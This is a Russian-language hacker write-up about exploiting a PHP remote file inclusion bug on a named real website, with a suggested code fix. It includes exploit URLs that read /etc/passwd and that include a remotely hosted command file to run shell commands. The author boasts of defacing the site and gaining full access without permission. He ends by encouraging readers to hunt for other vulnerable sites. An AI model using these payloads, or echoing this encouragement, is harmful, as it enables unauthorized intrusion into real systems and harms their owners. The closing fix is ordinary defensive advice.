PHP source code injection на примере взлома www.adult.lv Данной статьей я не ставлю цели полностью обьяснить и разжевать читателю суть уязвимости внеднения пхп-кода, также в этой статье не приведены все возможные действия по эксплуатированию данной баги и нет полностью разжеванного описания взлома. Эта статья лишь пример использования баги на конкретном сайте. В ней я опишу в чем была ошибка админа (или кодера) сайта, как была использована эта ошибка для дефейса сайта и расскажу как все это подправить. Как все началось. День... ирка... наш канал... [16:54] Вульф [16:54] я тут [16:54] прикол нашёл [16:54] зайди на сайт [16:54] эээ на какой сайт? [16:54] www.adult.lv [16:55] там короче есть такой прикол [16:55] ггг адульт ... знаю я такие приколы =) [16:55] какие ? [16:55] да я те не за то что порно [16:55] там баг есть [16:55] =) [16:55] ггг [16:55] что за баг? [16:56] слушай [16:56] там index.php [16:56] ну? [16:56] http://www.adult.lv/index.php?hfhdhfhdf [16:56] сделай такой запрос [16:57] а потом http://www.adult.lv/index.php?/etc/passwd [16:57] ммм И понеслась... Запрос http://www.adult.lv/index.php?/etc/passwd выдавал содержание файлика passwd но все пароли были естественно оттенены. А вот запрос типа http://www.adult.lv/index.php?ааа выдал мне следующее: Warning: main(aaa): failed to open stream: No such file or directory in /web1/users/u1293/docs/index.php on line 60 Warning: main(): Failed opening 'aaa' for inclusion (include_path='.:/usr/local/lib/php') in /web1/users/u1293/docs/index.php on line 60 Это было уже интереснее. Решил проделать хитрый финт ушами: Создал файлик cmd.txt следующего содержания: Залил его на наш сайт и в броузере ввел следующее: http://www.adult.lv/index.php?http://www.rsteam.net/cmd.txt и вуаля... передо мной листинг директории =) Естественно после команды "ls -la" были другие более интересные команды с помощью которых мы получили полный доступ к сайту, но это тема другой статьи и останавливаться на этом я не буду. Теперь расскажу почему все так получилось. Вот кусок кода из файла index.php [покусано] function inner ($in) { if ($in != "") {$out=$in;} else {$out="news";} return $out; } [покусано] include (inner($QUERY_STRING)); [покусано] Как вы видите в скрипте берутся данные из строки запроса и отправляются функции inner inner($QUERY_STRING) в самой inner происходит следующее: 1. если строка запроса не пуста то приравниваем $out к строке запроса if ($in != ""){$out=$in;} 2. если строка пуста то $out приравниваем news else {$out="news";} 3. после этого возвращаем $out return $out; Таким образом при запросе http://www.adult.lv/index.php?ааа мы получаем после обработки следующую фигню: include(aaa); А вот при запросе http://www.adult.lv/index.php?http://www.rsteam.net/cmd.txt и после обработки скриптом у нас получается: include(http://www.rsteam.net/cmd.txt); И соответственно наш файлик cmd.txt инклудится и код вставляется в index.php. В заключение немного про то как исправить багу в данном случае. Если уж админу данного сайта так приспичило получать данные из строки запроса мы оставим там все как есть и лишь немного подправим код в функции inner: function inner ($in) { if ($in=="texts") $out="texts"; elseif ($in=="news") $out="news"; elseif ($in=="ещё_что-то") $out="ещё_что-то"; else {$out="news";} return $out; } Теперь если в строке запроса будет передано что-либо кроме "texts" , "news" или "ещё_что-то" то будет инклудится файл news и запросы типа index.php?/etc/passwd пролетают как фанера над Парижем =))) Вот такие калачи. Никогда не стоит надеятся на то, что все посетители зашедшие на ваш сайт будут делать именно то, что вы от них ожидаете. Вполне возможно среди них попадутся такие челы которых хлебом не корми дай фигни всякой в строку запроса понапихать. З.Ы. Опережая толпы читателей ломанувшихся на сайт www.adult.lv дабы испробовать приведенный баг, замечу что админ этого сайта уже получил от меня письмецо с описанием баги и возможными решениями проблемы. Судя по ответному письму код паги был благополучно подправлен. Но ведь на этом сайте свет клином не сошелся =) Сайтов с похожими жуками в инете много, стоит только поискать... Кто ищет, тот всегда найдет... Удачи... cya... Автор: 1dt.w0lf --------------------------------------- RusH security team - http://rst.void.ru